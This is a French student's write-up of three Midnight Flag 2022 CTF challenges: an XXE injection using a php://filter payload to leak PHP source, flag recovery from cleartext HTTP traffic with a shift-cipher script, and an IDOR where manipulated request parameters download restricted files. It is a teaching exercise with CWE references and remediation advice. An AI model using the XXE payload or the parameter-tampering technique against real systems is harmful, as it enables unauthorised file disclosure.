Identification

Auteur: Ziad Lteif

Description CTF

L'édition 2022 de Midnight Flag CTF - Infektion est la deuxième édition organisée par `Esna Bretagne`. Le CTF était orienté envers des étudiants, débutants et intermédiaires. Les challenges proposées étaient en somme assez diversifiés. Les catégories offertes étaient: `pwn`, `reverse`, `web`, `android`, `réseau`, `forensics`, `cryptographie`, `osint`, `misc` et `steganographie`.

Parmi une trentaine de challenges proposés, j'en ai essayé qu'une dizaine et ai été en mesure d'avoir 4 flags dont 3 qui vaut la peine de mentionner.

Unfinished Intranet (Web)

Vulnérabilité(s):

- CWE-477: Use of Obsolete Function
- CWE-20: Improper Input Validation
- CWE-611: Improper Restriction of XML External Entity Reference
- CWE-209: Generation of Error Message Containing Sensitive Information

Unfinished Intranet est une page web simple d'apparence dont la seule page est un formulaire d'inscription à un site. Le formulaire demandait un nom, un numéro de téléphone, une adresse courriel et un mot de passe. Lorsque le formulaire est envoyé, l'utilisateur est redirigé sur une page web `unavailable.php` qui affichait simplement `<p>Under construction</p>`. En tentant de revenir à la page précédente, l'adresse courriel qui a été entrée lors de l'inscription apparaît en dessous du bouton d'envoi avec le message `Sorry, <email> is already registered!`.

En analysant les paquets réseaux envoyés par le fureteur, un `POST` est effectué à `xml.php` et la réponse retourne `Deprecated: Function libxml_disable_entity_loader() is deprecated in xml.php on line 1`. Selon la documentation PHP, l'utilisation de cette méthode est hautement découragée et elle permet de

> *Désactiver/activer la possibilité > de charger des entités externes. Notez que la désactivation du chargement des entités externes peut entraîner des problèmes généraux lors du chargement des documents XML.*

De ce fait, avec le nom du fichier en soi `xml.php`, il est fort probable que l'option de charger une entité externe soit possible. La requête par défaut envoyée à `xml.php` est la suivante:

```
<root><name>haha</name><tel>hehe</tel><email>hihi</email><password>hoho</password></root>
```

Considérant que la balise email est affichée à l'écran, il serait donc possible d'injecter une entité PHP dans la balise XML et remplacer la valeur de email par une référence à l'entité. Grâce au répertoire GitHub (Payload all the things) ainsi que plusieurs références sur le web, il est possible de construire un payload comme celui-ci:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Heading [ <!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">]>
<root><name>haha</name><tel>hehe</tel><email>&foo;</email><password>hoho</password></root>
```

Le filtre est appliqué afin de récolter l'information de la ressource demandée plutôi qu'inclure la ressource en soi dans le fichier php. Malheureseument, `flag.txt` n'existe pas. En utilisant le même payload en remplaçant flag.txt par `unavailable.php` le résultat est le suivant:

```
PD9waHAKZWNobyAnPHA+VW5kZXIgY29uc3RydWN0aW9uPC9wPic7Cj8+
```

Comme nous avons encodé en base64, un base64 decode permet de fuiter le code source du fichier demandé:

```
<?php
echo '<p>Under construction</p>';
?>
```

Le même payload pour `xml.php` donne le résultat suivant: `xml.php en base64`:

```
PD9waHANCiNUaGUgZmxhZyBpcyBNQ1RGezM0c3lfWFhFXzFudDBkdWN0MTBufQ0KbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlciAoZmFsc2UpOw0
```

`xml.php`:

```
<?php
#The flag is MCTF{34sy_XXE_1nt0duct10n}
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
```

```
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$tel = $info->tel;
$email = $info->email;
$password = $info->password;

echo "Sorry, $email is already registered!";
?>
```

Flag:

- MCTF{34sy_XXE_1nt0duct10n}

D'abord, l'affichage d'une erreur non gérée par le développeur du site web permet à un attaquant d'obtenir des informations critiques sur le système informatique. Par le fait même, l'affichage du message de méthode obsolete a permis d'orienter l'attaque vers un XML External Entity (XXE). Par la suite, l'utilisation de méthodes obsolètes peut indiquer que le développeur n'est pas nécessairement rigoureux. Dans le cas de `libxml_disable_entity_loader()`, il a été possible d'exploiter cette vulnérabilité.

Il est primordial de s'assurer qu'une trace d'erreur n'est pas fuitée à l'utilisateur par mesure de sécurité. Il faut avoir des mesures en place pour attraper les exceptions et les gérer afin de prévenir tout comportement indéfini du système. De plus, il est important de ne pas faire confiance à l'utilisateur et encore moins à ses entrées. Une mauvaise gestion (ou un manque dans ce cas) des entrées utilisateurs exposent le système à des injections malicieuses de code.

Références:

- https://www.php.net/manual/en/function.libxml-disable-entity-loader.php
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
- https://portswigger.net/web-security/xxe
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/Files/XXE%20PHP%20Wrapper.xml
- https://www.youtube.com/watch?v=JI0daBHq6fA

Unencrypted communication (Réseau)

Vulnérabilité(s):

- CWE-319: Cleartext Transmission of Sensitive Information
- CWE-311: Missing Encryption of Sensitive Data
- CWE-693: Protection Mechanism Failure
- CWE-650: Trusting HTTP Permission Methods on the Server Side
- CWE-326: Inadequate Encryption Strength

Ce challenge sortait de l'ordinaire et aborde un sujet qui n'a pas été vu dans le cadre du cours. Un fichier `ncapng` était fourni qui avait sniffer les paquets échangés sur un réseau. 1665 paquets ont été échangés dans le réseau dont plusieurs TCP, TLS, et quelques HTTP. Comme `HTTP` n'est pas encrypté, filtrer les requêtes en fonction de ce protocole permettrait probablement d'intercepter des paquets sensibles. Pour ce faire, l'utilisation de `Wireshark` est essentiel à la suite des choses.

Le 6ième paquet de la capture est une requête HTTP vers `flag.mkv`.

```
Frame 6: 203 bytes on wire (1624 bits), 203 bytes captured (1624 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 192.168.44.150, Dst: 192.168.44.103
Transmission Control Protocol, Src Port: 33148, Dst Port: 80, Seq: 1, Ack: 1, Len: 135
Hypertext Transfer Protocol
    GET /flag.mkv HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): GET /flag.mkv HTTP/1.1\r\n]
        Request Method: GET
        Request URI: /flag.mkv
        Request Version: HTTP/1.1
    User-Agent: Wget/1.21\r\n
    Accept: */*\r\n
    Accept-Encoding: identity\r\n
    Host: 192.168.44.103\r\n
    Connection: Keep-Alive\r\n
    \r\n
    [Full request URI: http://192.168.44.103/flag.mkv]
    [HTTP request 1/1]
    [Response in frame: 231]
```

La réponse de cette requête se trouve au paquet 231.

```
Frame 231: 34325 bytes on wire (274600 bits), 34325 bytes captured (274600 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 192.168.44.103, Dst: 192.168.44.150
Transmission Control Protocol, Src Port: 80, Dst Port: 33148, Seq: 1890761, Ack: 136, Len: 34257
[113 Reassembled TCP Segments (1925017 bytes): #8(7240), #9(7240), #12(10136), #13(4344), #16(10136), #17(4344),
#20(2896), #22(17376), #24(14480), #26(7240), #28(24616), #30(15928), #32(5464), #34(31856), #36(26064),
#38(5792), #40(10136),]
Hypertext Transfer Protocol
    HTTP/1.1 200 OK\r\n
        [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]
        Response Version: HTTP/1.1
        Status Code: 200
        [Status Code Description: OK]
        Response Phrase: OK
    Date: Wed, 06 Apr 2022 15:11:21 GMT\r\n
    Server: Apache/2.4.53 (Debian)\r\n
    Last-Modified: Thu, 06 Jan 2022 09:44:02 GMT\r\n
    ETag: "1d5e6e-5d4e6b5d8bc80"\r\n
    Accept-Ranges: bytes\r\n
    Content-Length: 1924718\r\n
        [Content length: 1924718]
    Keep-Alive: timeout=5, max=100\r\n
    Connection: Keep-Alive\r\n
    Content-Type: video/x-matroska\r\n
    \r\n
    [HTTP response 1/1]
    [Time since request: 0.012879555 seconds]
    [Request in frame: 6]
    [Request URI: http://192.168.44.103/flag.mkv]
    File Data: 1924718 bytes
Media Type
    Media type: video/x-matroska (1924718 bytes)
```

Malheureusement, la vidéo en soi ne peut pas être accédée en se fiant uniquement à la capture. Cependant, voici une liste de paquets intéressants:

```
<...>
404    8.202187677    10.0.2.15    8.210.148.72    HTTP    951    POST /res/serv/getcode-s.php HTTP/1.1
(application/x-www-form-urlencoded)
<...>
1633    17.564742238    10.0.2.15    8.210.148.72    HTTP    1063    POST /res/serv/vigenere-s.php HTTP/1.1
(application/x-www-form-urlencoded)
1635    17.918162204    8.210.148.72    10.0.2.15    HTTP/JSON    297    HTTP/1.1 200 OK , JavaScript Object
Notation (application/json)
<...>
```

Une requête est faite à une ressource web pour un `getcode` et est retourné. Par la suite, un message est envoyé à un autre fichier `vigenere` qui retourne un fichier `JSON`.

En regardant les informations transmise à `vinegere`, on peut apercevoir les informations suivantes:

```
Frame 1633: 1063 bytes on wire (8504 bits), 1063 bytes captured (8504 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 8.210.148.72
Transmission Control Protocol, Src Port: 45008, Dst Port: 80, Seq: 896, Ack: 294, Len: 1007
Hypertext Transfer Protocol
    POST /res/serv/vigenere-s.php HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /res/serv/vigenere-s.php HTTP/1.1\r\n]
        Request Method: POST
        Request URI: /res/serv/vigenere-s.php
        Request Version: HTTP/1.1
    Host: www.metools.info\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n
    Accept: application/json, text/javascript, */*; q=0.01\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n
    X-Requested-With: XMLHttpRequest\r\n
    Content-Length: 66\r\n
```

```
    Origin: http://www.metools.info\r\n
    Connection: keep-alive\r\n
    Referer: http://www.metools.info/enencrypt/vigenerecipher156.html\r\n
     [truncated]Cookie: Hm_lvt_85f0642d9eb1dbe60bf3909d2e3d1b18=1649252059,1649257283,1649257890;
__gads=ID=43365b38aa284397-22ff5b2c0ed200e7:T=1649252061:RT=1649252061:S=ALNI_MYnxjYtbeomHu2u1z4k5bLXTmSOiA;
Hm_lpvt_85f0642d9eb1dbe60bf3909d2e3
    \r\n
    [Full request URI: http://www.metools.info/res/serv/vigenere-s.php]
    [HTTP request 2/2]
    [Prev request in frame: 404]
    [Response in frame: 1635]
    File Data: 66 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "txt" = "LBSE{XnT_Rg0tKc_Zkv4xR_Tr3_G77oR}"
        Key: txt
        Value: LBSE{XnT_Rg0tKc_Zkv4xR_Tr3_G77oR}
    Form item: "type" = "en"
        Key: type
        Value: en
    Form item: "key" = "MIDNIGHTFLAG"
        Key: key
        Value: MIDNIGHTFLAG
```

Nous obtenu une clé pour le flag qui est encryptée. Une recherche rapide de `vigenere` permet de mieux comprendre l'algorithme de cryptage. Vigenère fonctionne en décalant l'alphabet d'une certaine manière selon la clé. Dans ce cas, malgré que la clé semble apparaître en texte claire dans la réponse du paquet, il n'est toutefois pas décryptable avec les sites populaires de cryptage.

Donc, sachant que l'alphabet est décalée de manière fixe, il est possible de trouver ce décalage en se fiant au format attendu du flag `MCTF`. Avec le faux-flag présent `LBSE{XnT_Rg0tKc_Zkv4xR_Tr3_G77oR}`. En interpolant le début du flag, il est possible de conclure que l'alphabet est décalé +1. L->M, B->C, etc.

Pour résoudre le flag et se permettre d'être paresseux, un script python peut faire le travail de manière automatique: `decrypt.py`

```python
#String to decode knowing the format is MCTF.
decode = 'LBSE{XnT_Rg0tKc_Zkv4xR_Tr3_G77oR}'

# For each letter in the decode string add 1 to the ASCII value of the letter ignoring the '_', '{}' and numbers
# and then convert the ASCII value to a character.
# The result is the real flag.
flag = ""
for letter in decode:
    if letter == '_' or letter == '{' or letter == '}' or letter.isdigit():
        flag += letter
    else:
        flag += chr(ord(letter) + 1)
print(flag)
# Result: MCTF{YoU_Sh0uLd_Alw4yS_Us3_H77pS}
```

c'est un exercice qui démontre l'importance d'utiliser une connexion encryptée sur le web ou des méthodes cryptages beaucoup plus robuste que celui utilisé dans le challenge. Une connexion HTTP peut être facilement lue et les informations qui y transigent sont exposées à n'importe qui. Un attaquant peut donc intercepter une information sensible qui ne lui était pas adressée.

Flag:

- MCTF{YoU_Sh0uLd_Alw4yS_Us3_H77pS}

Ressources:

- https://cwe.mitre.org/data/definitions/319.html
- https://cwe.mitre.org/data/definitions/311.html
- https://cwe.mitre.org/data/definitions/693.html
- https://cwe.mitre.org/data/definitions/650.html
- https://cwe.mitre.org/data/definitions/326
- https://www.dcode.fr/vigenere-cipher
- https://pages.mtu.edu/~shene/NSF-4/Tutorial/VIG/Vig-Base.html

Medusum 1/5 (Web)

Vulnérabilité(s):

- OWASP Insecure Direct Object Reference IDOR (Broken access control)
- CWE-284: Improper Access Control
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-863: Incorrect Authorization

Medsum est un challenge web fort intéressant. En description, Medum était présenté comme un site appartenant à un groupe de pirates qui ont fuiter des informations confidentielles sur plusieurs entreprises comme Airbus, le ministère des armées français, direction générale de la sécurité extérieure, algosecure, apixit, rootme, orange cyberdefense et Hexa gaming (tous les commanditaires du CTF). Toutes les données fuités des entreprises étaient disponible dans un "explorer" prêt à télécharger sauf ESNA Aerospace. La fuite de ESNA était supposée être prévue le 25 avril à 1200 UTC. Évidemment, c'est trop loin et on aimerait mieux avoir accès à l'information tout de suite! L'explorateur de fichiers était toutefois disponible, mais le bouton télécharger était désactivé. Après avoir inspecté le code source de la page, un script JavaScript semblait intéressant. Il affichait en dur le temps restant avant d'activer le bouton. Après avoir tenté de le modifier, il n'a pas été possible de faire fonctionner le téléchargement des données. J'ai donc tenté d'explorer les téléchargements de apixit et jeter un coup d'oeil à l'onglet réseau afin de voir ce qui était envoyé et reçu comme requête.

Suite au téléchargement du fichier `routes.js`, voici la requête dans l'onglet réseau: `listing-post` payload: `file-download=true&folder-id=6&data-dir=apixit%2Froutes%2Froutes.js`.

Le même exercice avec `requirements.txt` de Airbus donnait: `listing-post` payload: `explorer=true&file-download=true&folder-id=11&data-dir=esna%2FPROJECTS%2FSkiblili.odt`.

J'ai compris par la suite que les fichiers de ESNA ne sont pas téléchargeables, car ils avaient l'aspect `can-download=0` alors que les autres étaient vrais. J'ai tenté de PUSH can-download mis à vrai, sans succès. Comme les requêtes étaient faites par un `listing-post` situé dans `/ajax/`, alors j'ai tenté d'accéder directement à la à `http://141.94.222.142:58001/ajax/listing-post?explorer=true`. En ajoutant le payload du dernier téléchargement, j'ai été en mesure de télécharger le fichier de nouveau directement de l'URL. En changeant le folder-id, il était possible de parcourir les différentes fuites de données des commanditaires du CTF. `folder-id=11` était donc ESNA. De l'explorateur, j'ai été en mesure de parcourir les fichiers ESNA et télécharger `http://141.94.222.142:58001/ajax/listing-post?explorer=true&file-download=true&folder-id=11&data-dir=esna%2FPROJECTS%2Fflag.txt`.

Le fichier flag.txt contenait l'information charmante suivante:

> *Si c'était si facile, touuut l'monde le feraaait Qui tu serais pour réussir où tous les autres ont échoué ?! OUBLIEEE TON GUESS PRETENTIEUX....*

Charmant... J'ai donc téléchargé toutes les informations de ESNA en modifiant le payload dans l'URL:

- `http://141.94.222.142:58001/ajax/listing-post?explorer=true&file-download=true&folder-id=11&data-dir=esna%2FPROJECTS%2FRECAP.pdf`
- `http://141.94.222.142:58001/ajax/listing-post?explorer=true&file-download=true&folder-id=11&data-dir=esna%2FHADES%2Fmap.png`
- `http://141.94.222.142:58001/ajax/listing-post?explorer=true&file-download=true&folder-id=11&data-dir=esna%2FPROJECTS%2FFILE.pdf`
- `http://141.94.222.142:58001/ajax/listing-post?explorer=true&file-download=true&folder-id=11&data-dir=esna%2FHADES%2FSECRET%2Fcode.zip`
- `http://141.94.222.142:58001/ajax/listing-post?explorer=true&file-download=true&folder-id=11&data-dir=esna%2FPROJECTS%2FSkiblili.odt`
- `http://141.94.222.142:58001/ajax/listing-post?explorer=true&file-download=true&folder-id=11&data-dir=esna%2FPROJECTS%2FNOTES.txt`

Le fichier `notes.txt` contient:

> `1. MCTF{`

Le fichier `recap.pdf` contient:

> *Et non malheureusement pas de leak des projets étudiants, mais j'ai autre chose pour vous :* `2. 1D0R_`

Le fichier `file.pdf` contient:

> *Ah bah super y'a des pdf bullshit……..*

Le fichier `skiblili.odt` contient:

> *Ah bah super y'a des pdf bullshit…….. Mais en version word !*

L'image `map.png` contient le texte:

> `3. f0r_th3`

Finalement, l'archive zip contient le fichier `code.txt` qui contient:

> `4. _w1n}`

Toutes ces informations combinées donnent le flag: `MCTF{1D0R_f0r_th3_w1n}`

Le système a un système d'autorisation en place pour empêcher le téléchargement des informations qui ne sont pas rendues publiques. C'est le rôle du `can-download` sur les documents. Cepedant, cette valeur n'est pas revérifiée avant d'envoyer les fichiers à l'utilisateur. De plus, les requêtes sont faites directement par une implémentation Ajax permettant à l'utilsiateur d'accéder aux informations sensibles en manipulant la requête web en soi.

Ressources:

- https://cwe.mitre.org/data/definitions/863.html
- https://cwe.mitre.org/data/definitions/639.html
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References
- https://owasp.org/www-chapter-ghana/assets/slides/IDOR.pdf